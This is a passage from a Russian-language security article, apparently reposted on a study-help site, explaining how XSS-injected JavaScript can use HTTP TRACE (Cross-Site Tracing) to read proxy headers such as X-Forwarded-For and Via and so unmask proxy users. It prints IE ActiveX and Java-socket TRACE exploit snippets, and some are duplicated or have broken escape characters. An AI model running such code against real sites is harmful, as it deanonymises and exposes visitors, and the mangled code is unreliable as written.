Читайте также:
|
|
Вернемся к заголовкам X-Forwarded-For и Via. Бывают такие случаи, что хакер не имеет возможности использовать PHP (или любой другой скрипт, на стороне сервере). Такое может произойти если он внедряет код на чужой сайт через ХSS, а формировать запросы к посторонним адресам не является возможным. В этой ситуации единственное доступное средство для хакера – JavaScript.
Атакующий может использовать объект XmlHttpConnection для того чтобы делать POST и GET запросы на взломанный им сервер. У него также есть возможность добавлять свои заголовки в запрос, но X-Forwarded-For и Via, генерируются прокси-сервером, а поэтому на момент подключения они неизвестны, и доступны только веб-серверу. Как же узнать, какие данные получает сервер? Ответ на этот вопрос, лежит в документации HTTP протокола. Как описано в стандарте, помимо методов POST и GET, существуют и другие. Некоторые из них можно встретить лишь на бумаге, но есть и такие которые могу помочь нам с решением данной задачи.
Для диагностических целей, консорциумом был утвержден метод TRACE. Если сервер получает TRACE запрос, он должен вернуть его клиенту как ответ. Использование этого метода в хакерских целях получила название XST (Cross site Tracing), который изначально использовался для чтения данных Cookie с флагом httpOnly. Хакер уже писал об этом и вы можете самостоятельно с ней разобраться. До недавнего времени считалось, что уже нет возможности к его применению. Но в январе 2006 года, Amit Klein опубликовал в Интернете пример его успешного использования:
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("rnTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("rnTRACE","/",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
</script>
В результате, responseText, содержит полный текст нашего запроса, который можно легко извлечь, чтобы получить исключительно нужные нам значения:
var headers = x.split('n');
for(header in headers)
{
var breakAt = headers[header].indexOf(':');
var fieldName = headers[header].substring(0, breakAt);
var fieldValue = headers[header].substring(breakAt+1, headers[header].length);
headers[fieldName] = fieldValue;
}
alert(headers['X-Forwarded-For']);
Недостаток этого метода в том, что он работает только в Internet Explorer. В Firefox объект XmlHttpConnection не содержит такой ошибки, и поэтому не может быть поэксплуатирован. В 2006 году компонент Flash-плеера тоже имел уязвимость, которая позволяла использовать метод TRACE для взаимодействия с сервером. Но и она была вскоре исправлена. На данный момент во всех браузерах, только Ява позволяет осуществить TRACE запросы. Недавно Anurag Agarwal, написал пример для Firefox, использующий java.net.socket, для трассировки запроса:
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr =
new java.io.BufferedWriter(
new java.io.OutputStreamWriter(socket.getOutputStream(),"UTF8")
);
var rd = new java.io.BufferedReader(
new java.io.InputStreamReader(socket.getInputStream())
);
wr.write("TRACE / HTTP/1.1 n");
wr.write("Host: " + host + "n");
wr.write("nr");wr.flush();
var lines = "";
while ((str = rd.readLine())!= null)
{ lines += str + "n"; }
alert(lines);
wr.close();
rd.close();
socket.close();
Как видите, если в запросе передаются интересующие нас данные(X-Forwarded-For и Via) атакующий имеет широкий спектр инструментария, чтобы с легкостью заполучить их. Но как уже говорилось ранее, эти поля могут отсутствовать. Если пользователь для выхода в Интернет использует анонимный прокси-сервер, от них не останется и следа. Что может предпринять хакер, для того чтобы обойти прокси?
Дата добавления: 2015-09-11; просмотров: 69 | Поможем написать вашу работу | Нарушение авторских прав |